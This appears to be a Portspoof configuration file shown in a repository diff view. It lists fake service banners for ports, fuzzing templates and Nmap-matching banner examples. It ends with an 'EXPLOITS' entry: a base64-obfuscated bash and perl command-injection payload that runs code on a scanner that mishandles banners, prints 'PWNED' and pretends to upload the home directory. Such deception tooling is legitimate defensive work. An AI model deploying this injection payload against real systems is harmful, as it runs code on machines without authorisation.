34 "550 12345 0ffffffff800000007f708f000000c0888ff78f78f777c008ffff00"
|
||||
35 "550 12345 0fffffffff800000008fff7000008f0000f808f0870cf7008ffff00"
|
||||
36 "550 12345 0ffffffffff7088808008fff80008f0008c00770f78ff0008ffff00"
|
||||
37 "550 12345 0fffffffffffc8088888008cffffff7887f87ffffff800000ffff00"
|
||||
38 "550 12345 0fffffffffffff7088888800008777ccf77fc777800000000ffff00"
|
||||
39 "550 12345 0fffffffffffffff800888880000000000000000000800800cfff00"
|
||||
40 "550 12345 0fffffffffffffffff70008878800000000000008878008007fff00"
|
||||
41 "550 12345 0fffffffffffffffffff700008888800000000088000080007fff00"
|
||||
42 "550 12345 0fffffffffffffffffffffc800000000000000000088800007fff00"
|
||||
43 "550 12345 0fffffffffffffffffffffff7800000000000008888000008ffff00"
|
||||
44 "550 12345 0fffffffffffffffffffffffff7878000000000000000000cffff00"
|
||||
45 "550 12345 0ffffffffffffffffffffffffffffffc880000000000008ffffff00"
|
||||
46 "550 12345 0ffffffffffffffffffffffffffffffffff7788888887ffffffff00"
|
||||
47 "550 12345 0ffffffffffffffffffffffffffffffffffffffffffffffffffff00"
|
||||
48 "550 12345 0000000000000000000000000000000000000000000000000000000"
|
||||
49 "550 12345 0000000000000000000000000000000000000000000000000000000"
|
||||
50 "550 12345 0000000000000000000000000000000000000000000000000000000"
|
||||
|
||||
#Example: port range
|
||||
|
||||
#51-60 "550 4m2v4 (FUZZ_HERE)"
|
||||
|
||||
#Example: Simple regular expression payloads
|
||||
|
||||
#8080 "word: [\w]+ [\d]+ [a-b]+ [1-2]+\n"
|
||||
#8081 "OK0100 eXtremail V([\d.]+) release (\d+) REMote management \.\.\.\r\n"
|
||||
#8082 "word: ... \. \d \w \n"
|
||||
|
||||
#Nmap regular expression matched payloads
|
||||
|
||||
#8100 "220 FUZZ_HERE ESMTP OpenSMTPD\r\n"
|
||||
#8101 "220 FUZZ_HERE SMTP ready to roll\r\n"
|
||||
#8102 "550 12345 FUZZ_HERE"
|
||||
#8103 "+OK Lotus Notes POP3 server version lLlfMoHcd ready j* on __FUZZ_HERE__\r\n"
|
||||
#8104 "HTTP/1.0 200 OK\r\nServer: Apache/__FUZZ__(Amazon)\r\nX-Powered-By: ASP\.NET\r\nCache-Control: no-cache, must-revalidate\r\nContent-type: text/html\r\nX-Powered-By: PHP/xxx\r\nExpires: Mon, 26 Jul 1997 05:00:00 GMT\r\n<title>Log In - Juniper Web Device Manager</title><address>Apache mod_perl/2.0.4 Perl/v5.10.1 Server at devtest.myhost.co.za Port 80</address>"
|
||||
|
||||
## EXPLOITS ##
|
||||
|
||||
#OS cmd injection payload for bash: $(cat output) and `cat output` injections
|
||||
8080 "/bin/bash\t-c\t{perl,-e,$0,useSPACEMIME::Base64,cHJpbnQgIlBXTkVEXG4iIHggNSA7ICRfPWBwd2RgOyBwcmludCAiXG51cGxvYWRpbmcgeW91ciBob21lIGRpcmVjdG9yeTogIiwkXywiLi4uIFxuXG4iOw==}\t$_=$ARGV\x5b0\x5d;~s/SPACE/\x5ct/ig;eval;$_=$ARGV\x5b1\x5d;eval\x28decode_base64\x28$_\x29\x29;"
|
||||
|
65535
tools/portspoof_signatures
Executable file
65535
tools/portspoof_signatures
Executable file
File diff suppressed because it is too large
Load Diff
1866
tools/signatures
1866
tools/signatures
File diff suppressed because it is too large
Load Diff
Loading…
Reference in New Issue
Block a user